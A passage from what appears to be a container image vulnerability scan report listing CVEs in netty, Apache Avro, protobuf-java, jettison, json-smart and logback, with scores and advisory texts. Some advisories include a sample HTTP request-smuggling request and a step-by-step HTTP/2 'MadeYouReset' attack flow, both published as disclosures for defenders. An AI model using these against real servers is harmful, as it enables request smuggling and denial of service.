+ +### Impact +The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). + + +All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack + +### Workarounds +No workarounds other than not using the `Bzip2Decoder` + +### References + +Relevant code areas: + +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 + +
+
+ +medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.325%
EPSS Percentile55th percentile
+ +
Description +
+ +### Impact + +Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. + +Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. + + + +
+
+ +medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.026%
EPSS Percentile7th percentile
+ +
Description +
+ +### Impact + +When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. + +The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) + +### Vulnerability Details + +On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. + +The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. + +This is the case in netty's `AbstractDiskHttpData` is vulnerable. + +https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 + +`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. + +You may be affected by this vulnerability your project contains the following code patterns: + +```java +channelPipeline.addLast(new HttpPostRequestDecoder(...)); +``` + +```java +channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); +``` + +### Patches + +This has been patched in version `4.1.59.Final`. + +### Workarounds + +Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. + +### References + + - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) + - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) + +### Similar Vulnerabilities + +Similar, but not the same. + + - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp + - Google Guava - https://github.com/google/guava/issues/4011 + - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 + - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 + +### For more information +If you have any questions or comments about this advisory: +* Open an issue in [netty](https://github.com/netty/netty) +* Email us [here](mailto:netty-security@googlegroups.com) + +### Original Report + +> Hi Netty Security Team, +> +> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: +> https://lgtm.com/query/7723301787255288599/ +> +> Netty contains three local information disclosure vulnerabilities, so far as I can tell. +> +> One is here, where the private key for the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 +> +> One is here, where the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 +> +> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 +> +> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. +> +> Impacted OS: +> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. +> +> Mitigation. +> +> Moving to the `Files` API instead will fix this vulnerability. +> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- +> +> This API will explicitly set the posix file permissions to something safe, by default. +> +> I recently disclosed a similar vulnerability in JUnit 4: +> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp +> +> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. +> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 +> +> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. +> https://github.com/netty/netty/security/advisories +> +> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. +> +> Cheers, +> Jonathan Leitschuh + +
+
+ +medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score2.547%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 + +This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. + +### Patches +This was fixed as part of 4.1.61.Final + +### Workarounds +Validation can be done by the user before proxy the request by validating the header. + +
+
+ +medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
+ +
Description +
+ +### Impact +If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. +If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. + +In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. + +An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: + +``` +POST / HTTP/2 +:authority:: externaldomain.com +Content-Length: 4 + +asdfGET /evilRedirect HTTP/1.1 +Host: internaldomain.com +``` + +Users are only affected if all of this is `true`: + * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used + * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects + * These HTTP/1.1 objects are forwarded to another remote peer. + + +### Patches +This has been patched in 4.1.60.Final + +### Workarounds +The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. + +### References +Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 + +
+
+ +medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. + +
+
+
+
critical: 1 high: 1 medium: 0 low: 0 org.apache.avro/avro 1.11.2 (maven) + +pkg:maven/org.apache.avro/avro@1.11.2
+critical 9.3: CVE--2024--47561 Deserialization of Untrusted Data + + + + + + + + +
Affected range<1.11.4
Fixed version1.11.4
CVSS Score9.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Score0.543%
EPSS Percentile67th percentile
+ +
Description +
+ +Schema parsing in the Java SDK of Apache Avro 1.11.3 and previous versions allows bad actors to execute arbitrary code. +Users are recommended to upgrade to version 1.11.4 or 1.12.0, which fix this issue. + +
+
+ +high 7.5: CVE--2023--39410 Improper Input Validation + + + + + + + + +
Affected range<1.11.3
Fixed version1.11.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.061%
EPSS Percentile19th percentile
+ +
Description +
+ +When deserializing untrusted or corrupted data, it is possible for a reader to consume memory beyond the allowed constraints and thus lead to out of memory on the system. + +This issue affects Java applications using Apache Avro Java SDK up to and including 1.11.2. Users should update to apache-avro version 1.11.3 which addresses this issue. + +
+
+
+
critical: 1 high: 0 medium: 0 low: 0 zlib 1.3.1-r1 (apk) + +pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
+critical : CVE--2026--22184 + + + + + + +
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.081%
EPSS Percentile24th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.078%
EPSS Percentile24th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 4 medium: 1 low: 0 org.codehaus.jettison/jettison 1.1 (maven) + +pkg:maven/org.codehaus.jettison/jettison@1.1
+high 7.5: CVE--2023--1436 Uncontrolled Recursion + + + + + + + + +
Affected range<1.5.4
Fixed version1.5.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.026%
EPSS Percentile6th percentile
+ +
Description +
+ +An infinite recursion is triggered in Jettison when constructing a JSONArray from a Collection that contains a self-reference in one of its elements. This leads to a StackOverflowError exception being thrown. + +
+
+ +high 7.5: CVE--2022--45693 Out-of-bounds Write + + + + + + + + +
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +Jettison before v1.5.2 was discovered to contain a stack overflow via the map parameter. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted string. + +
+
+ +high 7.5: CVE--2022--45685 Out-of-bounds Write + + + + + + + + +
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A stack overflow in Jettison before v1.5.2 allows attackers to cause a Denial of Service (DoS) via crafted JSON data. + +
+
+ +high 7.5: CVE--2022--40150 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.055%
EPSS Percentile17th percentile
+ +
Description +
+ +Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by Out of memory. This effect may support a denial of service attack. + +
+
+ +medium 6.5: CVE--2022--40149 Stack-based Buffer Overflow + + + + + + + + +
Affected range<1.5.1
Fixed version1.5.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.521%
EPSS Percentile66th percentile
+ +
Description +
+ +Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack. + +
+
+
+
critical: 0 high: 3 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.96.Final (maven) + +pkg:maven/io.netty/netty-codec-http2@4.1.96.Final
+high 8.2: CVE--2025--55163 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range<=4.1.123.Final
Fixed version4.1.124.Final
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.102%
EPSS Percentile29th percentile
+ +
Description +
+ +Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.” + +### MadeYouReset Vulnerability Summary +The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. + +### Mechanism +The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). +The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: +1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) +2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) +3. PRIORITY frame with a length other than 5. (section 6.3) +From our experience, the primitives are likely to exist in the decreasing order listed above. +Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0. + +The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. +While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled. + +Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM. + +### Attack Flow +For example, a possible attack scenario can be: +1. Attacker opens an HTTP/2 connection to the server. +2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. +3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. +4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1). + +The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. +This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent) + +### Comparison to Rapid Reset +The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. +The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. +Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM. + +### Suggested Mitigations for MadeYouReset +A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. +It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error. + +As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively. + + +If you have any questions, we will be happy to clarify or schedule a Zoom call. + +Gal, Anat and Yaniv. + +
+
+ +high 7.5: GHSA--xpw8--rcwv--8f8p Uncontrolled Resource Consumption + + + + + + +
Affected range<4.1.100.Final
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
+ +
Description +
+ +A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. + +### Impact +This is a DDOS attack, any http2 server is affected and so you should update as soon as possible. + +### Patches +This is patched in version 4.1.100.Final. + +### Workarounds +A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used). + +### References +- https://www.cve.org/CVERecord?id=CVE-2023-44487 +- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ +- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/ + +
+
+ +high 7.5: CVE--2023--44487 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<4.1.100
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score94.424%
EPSS Percentile100th percentile
+ +
Description +
+ +The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023. + +
+
+
+
critical: 0 high: 2 medium: 0 low: 0 net.minidev/json-smart 1.3.2 (maven) + +pkg:maven/net.minidev/json-smart@1.3.2
+high 7.5: CVE--2023--1370 Uncontrolled Recursion + + + + + + + + +
Affected range<2.4.9
Fixed version2.4.9
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.014%
EPSS Percentile2nd percentile
+ +
Description +
+ +### Impact +Affected versions of [net.minidev:json-smart](https://github.com/netplex/json-smart-v1) are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object. + +When reaching a ‘[‘ or ‘{‘ character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software. + +### Patches +This vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug. + +### Workarounds +N/A + +### References +- https://www.cve.org/CVERecord?id=CVE-2023-1370 +- https://nvd.nist.gov/vuln/detail/CVE-2023-1370 +- https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748 + +
+
+ +high 7.5: CVE--2021--31684 Out-of-bounds Read + + + + + + + + +
Affected range>=1.3.0
<1.3.3
Fixed version1.3.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.117%
EPSS Percentile31st percentile
+ +
Description +
+ +A vulnerability was discovered in the indexOf function of JSONParserByteArray in JSON Smart versions prior to 1.3.3 and 2.4.5 which causes a denial of service (DOS) via a crafted web request. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 1 ch.qos.logback/logback-core 1.2.10 (maven) + +pkg:maven/ch.qos.logback/logback-core@1.2.10
+high 7.1: CVE--2023--6378 Deserialization of Untrusted Data + + + + + + + + +
Affected range<1.2.13
Fixed version1.2.13
CVSS Score7.1
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.613%
EPSS Percentile69th percentile
+ +
Description +
+ +A serialization vulnerability in logback receiver component part of logback allows an attacker to mount a Denial-Of-Service attack by sending poisoned data. + +This is only exploitable if logback receiver component is deployed. See https://logback.qos.ch/manual/receivers.html + +
+
+ +medium 5.9: CVE--2025--11226 Improper Input Validation + + + + + + + + +
Affected range<1.3.16
Fixed version1.5.19
CVSS Score5.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L
EPSS Score0.071%
EPSS Percentile22nd percentile
+ +
Description +
+ +QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution. + +A successful attack requires the Janino library and Spring Framework to be present on the user's class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges. + +
+
+ +medium 5.9: CVE--2024--12798 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') + + + + + + + + +
Affected range<1.3.15
Fixed version1.3.15
CVSS Score5.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/RE:L/U:Clear
EPSS Score0.290%
EPSS Percentile52nd percentile
+ +
Description +
+ +ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core up to and including version 1.5.12 in Java applications allows attackers to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution. + +Malicious logback configuration files can allow the attacker to execute arbitrary code using the JaninoEventEvaluator extension. + +A successful attack requires the user to have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege. + +
+
+ +low 2.4: CVE--2024--12801 Server-Side Request Forgery (SSRF) + + + + + + + + +
Affected range<1.3.15
Fixed version1.3.15
CVSS Score2.4
